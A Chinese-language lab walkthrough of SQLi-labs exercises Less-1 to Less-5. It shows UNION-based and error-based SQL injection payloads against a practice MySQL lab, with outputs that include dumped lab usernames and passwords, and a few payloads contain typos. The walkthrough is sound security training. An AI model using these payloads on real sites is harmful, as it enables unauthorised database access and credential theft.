【1】Less-1
【1.1】首先判断是否是数字型:
?id=1 and 1=1
?id =1 and 1=2
发现不会出现错误,说明不是整形注入。
【1.2】判断是否字符型
?id=1'
此时出错:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line
说明这里存在一个注入点,而且看出错信息为:'1'' LIMIT 0,1
从这里看出多出来的1'就是我们刚才的输入,所以问题在于'没有闭合。
这里可以猜测sql语句为:
$id = $_GET['id']
$query = "select name, password from xxx where id= '$id' LIMIT 0,1"
所以可以用以下输入来进行注入:
?id=1' --+
?id=1' and 1=1 --+
测试成功,说明猜测正确。
这里注意: --+是为了注释掉后面的语句。+会被转化为空格,所以最终就是--
这里也可以使用:
--# 不过这个不能直接使用,需要将#编码 也就是 --%22
【1.3】判断表有几列
?id=1' order by 1 --+
使用order by 1 一直测试这里测试到order by 4出现错误:
Unknown column '4' in 'order clause'
说明表中有3列。
【1.4】判断回显位置
?id=-1' union selec 1,2,3 --+
此时可以看到2,3被显示出来。所以可以用sql语句替换2,3列来达到注入目的。
这里使用id=-1是因为语句中可能有LIMIT 0,1这样的子句或者页面只输出一条信息。
【1.5】爆库名
?id=-1' union select 1, database(), version() --+
显示为:
Welcome Dhakkan
Your Login name:security
Your Password:5.7.30-0ubuntu0.18.04.1
上面得到数据库名为security,版本名为5.7.30-0ubuntu0.18.04.1。
继续搜集信息:
?id=-1' union select 1, user(), @@datadir
得到:
Welcome Dhakkan
Your Login name:root@localhost
Your Password:/var/lib/mysql/
user为 root@localhost
数据路径为: /var/lib/mysql/
继续
?id=-1' union select 1, @@version_compile_os, @@basedir
得到:
Welcome Dhakkan
Your Login name:Linux
Your Password:/usr/
所以目标机器操作系统为Linux,sql安装在/usr/目录下。
这里总结一下,一些常见的mysql函数和变量:
system_user():系统用户名
user():用户名
current_user:当前用户名
session_user():连接数据库的用户名
database():数据库名
version():数据库版本
load_file():读取本地文件函数
@@datadir:读取数据库路径
@@basedir:mysql安装路径
@@version_compile_os:操作系统
【1.6】继续爆破数据库
?id=-1' union select 1, (select group_concat(schema_name) from information_schema.schemata), 3 --+
得到:
Welcome Dhakkan
Your Login name:information_schema,challenges,dvwa,mysql,performance_schema,security,sys
Your Password:3
这里说明一下Mysql information_schema的一些用法:
#获取所有的数据库名
select schema_name from information_schema.schemata
#获取所有的数据库名(会有重复的)
select table_schema from information_schema.tables
# 得到某个数据库的所有表名
select table_name from information_schema.tables where table_schema = "某个数据库名"
#得到某个数据库中某个表的所有列名
select column_name from information_schema.columns where table_schema = "某个数据库名" and table_name = "某个表名"
(1)查看所有的数据库名
?id=-1' union select 1, (select group_concat(schema_name) from information_schema.schemata),3 --+
结果:
Welcome Dhakkan
Your Login name:information_schema,challenges,dvwa,mysql,performance_schema,security,sys
Your Password:3
(2)查看表名:
?id=-1' union select 1, (select group_concat(table_name) from information_schma.schemata where table_schema = 'security'),3 --+
由于【1.5】中已经获取到数据库名为security,所以这里我们可以获取到security数据库的所有表:
emails,referers,uagents,users
直接查看users表,查看它的列名:
?id=-1' union select 1, (select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'), 3 --+
此时得到user表的列名为:
username,password
查询所有的username, password:
?id=-1' union select 1, (select group_concat(username) from users), (select group_concat(password) from users) --+
此时得到:
所有的username:
Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
Your Password:Dumb,I-kill-
所有的password:
Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4
当然也可以这样一次性爆出:
?id=-1' union select 1, (select group_concat(concat_ws('=>', username, password) separator '|' ) from users), 3 --+
结果为:
Dumb=>Dumb|Angelina=>I-kill-you|Dummy=>p@ssword|secure=>crappy|stupid=>stupidity|superman=>genious|batman=>mob!le|admin=>admin|admin1=>admin1|admin2=>admin2|admin3=>admin3|dhakkan=>dumbo|admin4=>admin4
这样就获取到了数据库security中表users的所有内容。
【2】Less-2
?id=1'
出错:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1
可以看到这里接收的是整数数据。为了进一步确认,可以输入表达式确认:
?id=2-1 #和 ?id=1结果一致
?id=1 and 1=1 #输出正常
?id=1 and 1=0 #无输出
以上可以确定是整形注入。所以后面爆破库名/表名/列名/表内容可以这样:
?id=-1 union select 1, database(), version() #获取数据库名,版本信息
?id=-1 union select 1, (select group_concat(table_name) from information_schema.tables where table_schema = 'security'), 3 #获取security数据库中的所有表名
?id=-1 union select 1, (select group_concat(column_name) from information_schema.columns where table_name = 'users'), 3 #获取security数据库中users表的所有列
?id=-1 union select 1, (select group_concat(concat_ws('=>', username, password) separator ' ') from%20 users), 3 #获取security数据库中users表的所有username-passwod的内容。
Less-2 over
【3】Less-3
首先看看是否有注入点:
?id=1'
得到错误:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1
分析可知输入1'后,是该字符串:
'1'')
猜测可能是这样的sql:
$id = $_GET['id'];
$sql = "select xxx from xxx where id = ('$id') LIMIT 0,1";
尝试构造注入,注意'以及)的闭合:
?id=1') --+
此时一切正常。说明我们的猜测正确。所有这里存在一个需要闭合')的注入点。
接下来就可以继续注入了:
#获取到表有几个字段
?id='1) order by 3 --+
# 获取数据库名
?id=-1') union select 1, database(), version() --+
#获取security数据库的所有表名
?id=-1') union select 1, (select group_concat(table_name) from information_schema.tables where table_schema = 'security' ), 3 --+
#获取security数据库中users表的所有列
?id=-1' union select 1, (select group_concat(column_name) from information_schema.columns where table_name = 'users'), 3 --+
#爆破表内容
?id=-1' union select 1, (select group_concat(concat_ws('=>',username, password) separator ' ') from users), 3 --+
【4】Less-4
首先查看是否有注入点:
?id=1'
?id=1 and 1=1
?id=1 and 1=0
?id=1')
以上尝试均没有异常。
继续尝试:
?id=1"
此次出错:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1
分析可知出错为:
"1"")
所以可知是")没有闭合。
猜测sql语句为:
$id = $_GET['id'];
$sql = "select xxx from xxx where id = ("$id") LIMIT 0,1";
构造")闭合:
?id=1") --+
此时结果正常,所以猜测正确。这里有一个注入点。接下来就可以【2】【3】类似的方法爆破数据库了。
【5】Less-5
首先还是先找注入点:
?id=1' #此时出现错误
?id=1' --+ #此时正确
?id=1' order by 3 --+ #确定表有三列
?id=1' union select 1,2,3 --+ #此时发现没有回显点
这个课程中,没有回显点,所以就不能像【1】-【4】一样利用回显信息来进行注入调试。
首先观察一下上面order by 4时候的错误:
Unknown column '4' in 'order clause'
虽然数据库内容的信息不会回显,但是数据库的错误信息会回显。所以这里可以使用报错注入。
解释一下报错注入:就是人为的制造数据库错误。在数据库报错的同时,将数据库的错误信息呈现在错误结果中。
?id=1' union select 1, count(*), concat((select user()), (floor(rand(0) * 2))) as x from information_schema.tables group by x --+
采用该方法爆出user():
Duplicate entry 'root@localhost1' for key ''
TBC